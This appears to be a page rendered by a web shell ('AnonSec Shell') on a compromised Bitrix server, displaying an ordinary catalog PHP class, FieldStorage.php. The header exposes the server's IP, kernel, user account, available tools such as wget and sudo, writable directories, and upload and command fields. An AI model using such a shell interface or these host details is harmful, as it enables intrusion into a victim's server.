AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.52.144
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/catalog/lib/v2/Fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/catalog/lib/v2/Fields/FieldStorage.php
<?php

namespace Bitrix\Catalog\v2\Fields;

use Bitrix\Catalog\v2\Fields\TypeCasters\NullTypeCaster;
use Bitrix\Catalog\v2\Fields\TypeCasters\TypeCasterContract;

/**
 * Class FieldStorage
 *
 * @package Bitrix\Catalog\v2\Fields
 *
 * !!! This API is in alpha stage and is not stable. This is subject to change at any time without notice.
 * @internal
 */
class FieldStorage implements \ArrayAccess, \Iterator, \Countable
{
	private $fields = [];
	private $originalFields = [];
	private $changedFields = [];

	private $typeCaster;

	public function __construct(TypeCasterContract $typeCaster = null)
	{
		$this->typeCaster = $typeCaster ?? new NullTypeCaster();
	}

	public function initFields(array $fields): self
	{
		foreach ($fields as $name => $value)
		{
			$this->initField($name, $value);
		}

		return $this;
	}

	public function initField($name, $value): self
	{
		if ($this->typeCaster->has($name))
		{
			$value = $this->cast($name, $value);
			$this->fields[$name] = $value;

			unset($this->originalFields[$name], $this->changedFields[$name]);
		}

		return $this;
	}

	public function setFields(array $fields): self
	{
		foreach ($fields as $name => $value)
		{
			$this->setField($name, $value);
		}

		return $this;
	}

	public function setField($name, $value): self
	{
		if ($this->typeCaster->has($name))
		{
			$value = $this->cast($name, $value);

			if ($this->markChanged($name, $value))
			{
				$this->fields[$name] = $value;
			}
		}

		return $this;
	}

	public function hasField($name): bool
	{
		return isset($this->fields[$name]);
	}

	public function getField($name)
	{
		return $this->fields[$name] ?? null;
	}

	public function toArray(): array
	{
		return $this->fields;
	}

	public function isChanged($name): bool
	{
		return isset($this->changedFields[$name]);
	}

	public function clear(): void
	{
		$this->fields = [];
		$this->clearChanged();
	}

	public function clearChanged(): void
	{
		$this->changedFields = [];
		$this->originalFields = [];
	}

	public function getFields(): array
	{
		return $this->fields;
	}

	public function getOriginalFields(): array
	{
		return $this->originalFields;
	}

	public function getChangedFields(): array
	{
		return $this->changedFields;
	}

	public function hasChangedFields(): bool
	{
		return !empty($this->changedFields);
	}

	private function cast($name, $value)
	{
		return $this->typeCaster->cast($name, $value);
	}

	private function markChanged($name, $value): bool
	{
		$oldValue = $this->getField($name);

		if ($oldValue !== $value || ($oldValue === null && $value === null))
		{
			$originalValue = null;

			if (isset($this->originalFields[$name]) || array_key_exists($name, $this->originalFields))
			{
				$originalValue = $this->originalFields[$name];
			}
			elseif (isset($this->fields[$name]) || array_key_exists($name, $this->fields))
			{
				$originalValue = $this->fields[$name];
			}

			if ($originalValue === $value)
			{
				unset($this->changedFields[$name], $this->originalFields[$name]);

				return true;
			}

			if (!isset($this->originalFields[$name]) || !array_key_exists($name, $this->originalFields))
			{
				$this->originalFields[$name] = $oldValue;
			}

			$this->changedFields[$name] = true;

			return true;
		}

		return false;
	}

	/**
	 * Return the current element
	 */
	#[\ReturnTypeWillChange]
	public function current()
	{
		return current($this->fields);
	}

	/**
	 * Move forward to next element
	 */
	public function next(): void
	{
		next($this->fields);
	}

	/**
	 * Return the key of the current element
	 */
	#[\ReturnTypeWillChange]
	public function key()
	{
		return key($this->fields);
	}

	/**
	 * Checks if current position is valid
	 */
	public function valid(): bool
	{
		return $this->key() !== null;
	}

	/**
	 * Rewind the Iterator to the first element
	 */
	public function rewind(): void
	{
		reset($this->fields);
	}

	/**
	 * Whether a offset exists
	 *
	 * @param mixed $offset
	 *
	 * @return bool
	 */
	public function offsetExists($offset): bool
	{
		return isset($this->fields[$offset]) || array_key_exists($offset, $this->fields);
	}

	/**
	 * Offset to retrieve
	 *
	 * @param mixed $offset
	 *
	 * @return null|mixed
	 */
	#[\ReturnTypeWillChange]
	public function offsetGet($offset)
	{
		return $this->getField($offset);
	}

	/**
	 * Offset to set
	 *
	 * @param mixed $offset
	 * @param mixed $value
	 */
	public function offsetSet($offset, $value): void
	{
		$this->setField($offset, $value);
	}

	/**
	 * Offset to unset
	 *
	 * @param mixed $offset
	 */
	public function offsetUnset($offset): void
	{
		unset($this->fields[$offset], $this->originalFields[$offset], $this->changedFields[$offset]);
	}

	/**
	 * Count elements of an object
	 */
	public function count(): int
	{
		return count($this->fields);
	}
}

Anon7 - 2022
AnonSec Team